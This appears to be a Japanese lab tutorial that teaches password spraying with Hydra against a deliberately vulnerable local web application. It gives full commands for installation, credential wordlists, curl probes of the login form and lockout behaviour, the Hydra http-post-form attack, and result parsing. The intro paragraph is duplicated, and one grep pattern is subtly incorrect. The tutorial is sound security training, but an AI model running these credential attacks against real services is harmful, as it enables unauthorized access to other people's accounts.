はじめに
この実験では、総当たりテストに使用する汎用的なサイバーセキュリティツールである Hydra を使用してパスワードスプレー攻撃を行う方法を学びます。Hydra のセットアップ、資格情報リストの作成、および Web 認証フォームに対するターゲット攻撃の実行プロセスを探索します。
この実験では、攻撃パラメータの設定、結果の分析、脆弱な資格情報の特定に関する実践的な経験を提供します。実践的な演習を通じて、一般的な認証の脆弱性と防御戦略についての洞察を得ることができます。
この実験では、総当たりテストに使用する汎用的なサイバーセキュリティツールである Hydra を使用してパスワードスプレー攻撃を行う方法を学びます。Hydra のセットアップ、資格情報リストの作成、および Web 認証フォームに対するターゲット攻撃の実行プロセスを探索します。
この実験では、攻撃パラメータの設定、結果の分析、脆弱な資格情報の特定に関する実践的な経験を提供します。実践的な演習を通じて、一般的な認証の脆弱性と防御戦略についての洞察を得ることができます。
このステップでは、セキュリティ専門家がシステムセキュリティをテストするために使用する強力で柔軟なパスワードクラッキングツールである Hydra をインストールします。Hydra は、Web サイト (HTTP)、ファイル転送 (FTP)、セキュアシェル (SSH) など、さまざまなネットワークサービスに対して総当たり攻撃を実行できます。これらのツールの仕組みを理解することで、攻撃からシステムをよりよく保護することができます。
まず、システムのパッケージリストを更新する必要があります。これにより、利用可能な最新バージョンの Hydra をインストールできます。
sudo apt update
sudo
コマンドは管理者権限を付与し、apt update
は利用可能なソフトウェアパッケージのリストを更新します。
次に、この簡単なコマンドで Hydra をインストールします。
sudo apt install hydra -y
-y
フラグは、インストール中のすべてのプロンプトに自動的に「はい」と回答し、インストールプロセスをスムーズにします。
インストール後、Hydra のバージョンを確認することで、正常に動作していることを検証しましょう。
hydra -v
以下のような出力が表示されるはずです。
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
このバージョンチェックにより、Hydra が正しくインストールされ、使用可能な状態であることが確認できます。
高度な機能と特定のプロトコルでのより良いパフォーマンスを得るために、これらのオプションの依存関係をインストールします。
sudo apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev -y
これらのライブラリにより、Hydra はデータベース (MySQL、PostgreSQL) やバージョン管理システム (Subversion) などの追加サービスと連携できるようになります。
このステップでは、Hydra がパスワードスプレー攻撃を行うために必要な重要なテキストファイルを作成します。これらのファイルには、Hydra がターゲットの Web フォームに対して体系的にテストする可能性のあるユーザー名とパスワードが含まれています。パスワードスプレー攻撃では、少数の一般的なパスワードを多数のユーザーアカウントに対して試すことで、単一のアカウントに対して多数のパスワードを試す際に発生するアカウントロックアウトを回避します。
まず、ファイルを保存するプロジェクトディレクトリに移動します。これにより、すべてのファイルが一箇所に整理されます。
cd ~/project
次に、一般的なユーザー名を含むファイルを作成します。これらは、システム上に存在する可能性のある典型的なアカウント名です。nano テキストエディタを使用してファイルを作成および編集します。
nano users.txt
以下の一般的なユーザー名を、1 行に 1 つずつ追加します。
admin
administrator
user
test
guest
root
次に、パスワードリストファイルを作成します。これらはユーザーが設定する可能性のある脆弱なパスワードであり、テストに適しています。再び nano を使用します。
nano passwords.txt
以下のよく使われるパスワードを、それぞれ 1 行に 1 つずつ追加します。
password
123456
admin
letmein
welcome
qwerty
両方のファイルを作成した後、ディレクトリ内に存在することを確認しましょう。ls -l
コマンドは、ファイルの作成日時やサイズなどの詳細な情報を表示します。
ls -l
出力に users.txt
と passwords.txt
の両方が表示されるはずです。
最後に、各ファイルの実際の内容を確認して、正しく作成されていることを確認しましょう。cat
コマンドは、ファイルの内容をターミナルに直接表示します。
cat users.txt
cat passwords.txt
このステップでは、パスワードスプレー攻撃のターゲットとなる Web フォームを特定し、分析します。この演習では、http://localhost:8080
で実行されている意図的に脆弱性のある Web アプリケーションを使用します。パスワードスプレー攻撃では、少数の一般的なパスワードを多数のユーザーアカウントに対して試すため、攻撃を開始する前にログインフォームの構造を理解することが重要です。
まず、ターゲットの Web アプリケーションが実行されていることを確認します。
curl -I http://localhost:8080/login
-I
フラグは、curl に HTTP ヘッダのみを取得するよう指示します。200 OK
ステータスが表示され、ログインページにアクセス可能であることが確認できます。接続エラーが発生した場合は、作業を続行する前に Web サーバーが実行されていることを確認してください。
ページソースを表示してログインフォームの構造を調べます。
curl http://localhost:8080/login | grep -A5 -B5 "form"
このコマンドは HTML コンテンツを取得し、<form>
タグの前後 5 行を表示します。フォームの action
属性(データが送信される場所)と入力フィールド名を探します。これらは通常 username
と password
と呼ばれますが、異なる場合もあります。
フォームのパラメータを記録するテストリクエストファイルを作成します。
nano form_test.txt
Hydra が必要とする重要な詳細を記録するために、以下の内容を追加します。
Target URL: http://localhost:8080/login
Method: POST
Username field: username
Password field: password
Failure indicator: "Invalid credentials"
失敗インジケータは、ログイン試行が失敗したときに Hydra が認識できるようにするためのものです。このファイルは後で攻撃を設定するために使用します。
単一の資格情報ペアで手動でフォームをテストします。
curl -X POST -d "username=admin&password=wrongpass" http://localhost:8080/login -v
-X POST
は HTTP メソッドを指定し、-d
はフォームデータを送信します。-v
フラグは詳細な出力を表示し、「Invalid credentials」のレスポンスを確認できます。これにより、ログイン失敗時にフォームが期待どおりに動作することが確認できます。
5 つの迅速なリクエストを送信して、アカウントロックアウトポリシーを確認します。
for i in {1..5}; do
curl -X POST -d "username=admin&password=wrong$i" http://localhost:8080/login -s -o /dev/null -w "Attempt $i: %{http_code}\n"
done
このループは 5 つの迅速な失敗した試行を送信します。HTTP ステータスコードが 200(成功)から 403(禁止)に変化するかどうかを確認します。これはロックアウト保護があることを示します。実際のアプリケーションではこのような保護があることが多いですが、このテスト環境にはありません。
このステップでは、先ほど準備したユーザーリストとパスワードリストを使用して、Hydra を使ってターゲットの Web フォームに対してパスワードスプレー攻撃を実行します。パスワードスプレー攻撃は、少数の一般的なパスワードを多数のユーザーアカウントに対して試す手法で、従来のブルートフォース攻撃で発生する可能性のあるアカウントロックアウトを回避するのに役立ちます。
まず、ユーザーリストとパスワードリストが保存されているプロジェクトディレクトリに移動します。
cd ~/project
次に、慎重に選択したパラメータで Hydra を実行します。このコマンドは、Hydra にリスト内の各パスワードを各ユーザー名に対してテストさせ、Web フォームのログインページをターゲットにします。
hydra -L users.txt -P passwords.txt localhost http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4 -vV
各パラメータの役割を分解して説明します。
-L users.txt
: ユーザー名のリスト(1 行に 1 つ)を指定します。-P passwords.txt
: テストするパスワードのリストを指定します。http-post-form
: POST メソッドを使用して Web フォームを攻撃することを指定します。/login:...
: フォームの構造を定義します。コロンの後の部分は、Hydra に失敗した試行をどのように認識させるかを指示します。-t 4
: 攻撃を高速化するために 4 つの並列接続を実行します。-vV
: 詳細な出力を表示し、進捗状況を確認できます。Hydra が実行される間、出力を注意深く見てください。Hydra が有効な資格情報を見つけると、次のように明確に表示されます。
[80][http-post-form] host: localhost login: admin password: admin
ドキュメント化やさらなる分析のために結果を保存するには、-o
パラメータを使用して Hydra を実行します。
hydra -L users.txt -P passwords.txt localhost http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4 -o results.txt
攻撃が完了した後、保存された結果を次のコマンドで表示できます。
cat results.txt
このファイルには、攻撃中に見つかったすべての成功したログインの組み合わせが含まれています。
このステップでは、パスワードスプレー攻撃の結果を分析して、侵害された資格情報を特定し、セキュリティ上の影響を理解します。パスワードスプレー攻撃は、攻撃者が少数のアカウントに多数のパスワードを試すのではなく、多数のアカウントに少数の一般的なパスワードを試す手法です。
まず、Hydra が作成した生の結果ファイルを調べます。このファイルには、攻撃中に Hydra が行ったすべての試行が含まれています。
cat ~/project/results.txt
成功したログインを示す "[80][http-post-form]" を含む行を探します。数字の 80 は HTTP ポートを指し、http-post-form は Web フォームの送信であることを示します。
成功した試行のみに焦点を当てるために、侵害された資格情報のみを新しいファイルに抽出します。grep コマンドは成功パターンを含む行をフィルタリングします。
grep "[80][http-post-form]" ~/project/results.txt > ~/project/compromised_creds.txt
侵害されたアカウントの数を数えて、脆弱性の規模を理解します。-l フラグを付けた wc (ワードカウント) コマンドは行を数えます。
wc -l ~/project/compromised_creds.txt
パスワードの頻度リストを生成してパスワードのパターンを分析します。これにより、一般的に使用されている弱いパスワードを特定するのに役立ちます。
awk '{print $6}' ~/project/compromised_creds.txt | sort | uniq -c | sort -nr
このコマンドは 6 番目のフィールド(パスワード)を抽出し、ソートし、重複をカウントし、頻度でソートします。
重要な調査結果を要約したセキュリティレポートを作成します。この構造化された形式は、結果を明確に文書化するのに役立ちます。
echo "Password Spray Attack Results" > ~/project/security_report.txt
echo "Compromised accounts: $(wc -l < ~/project/compromised_creds.txt)" >> ~/project/security_report.txt
echo "Most common password: $(awk '{print $6}' ~/project/compromised_creds.txt | sort | uniq -c | sort -nr | head -1)" >> ~/project/security_report.txt
まとめられた結果を見るために、最終的なセキュリティレポートを表示します。
cat ~/project/security_report.txt
この実験では、Linux システム上で Hydra を使用してパスワードスプレー攻撃を実行する方法を学びました。そのプロセスには、ツールのインストール、資格情報リストの準備、および Web フォームに対する攻撃の設定が含まれていました。
また、ネットワークサービスに対するブルートフォース攻撃を行うための Hydra の基本機能を探索しました。この実験では、構造化された入力ファイルの作成や重要なコマンドパラメータの理解など、適切なセットアップ手法が強調されました。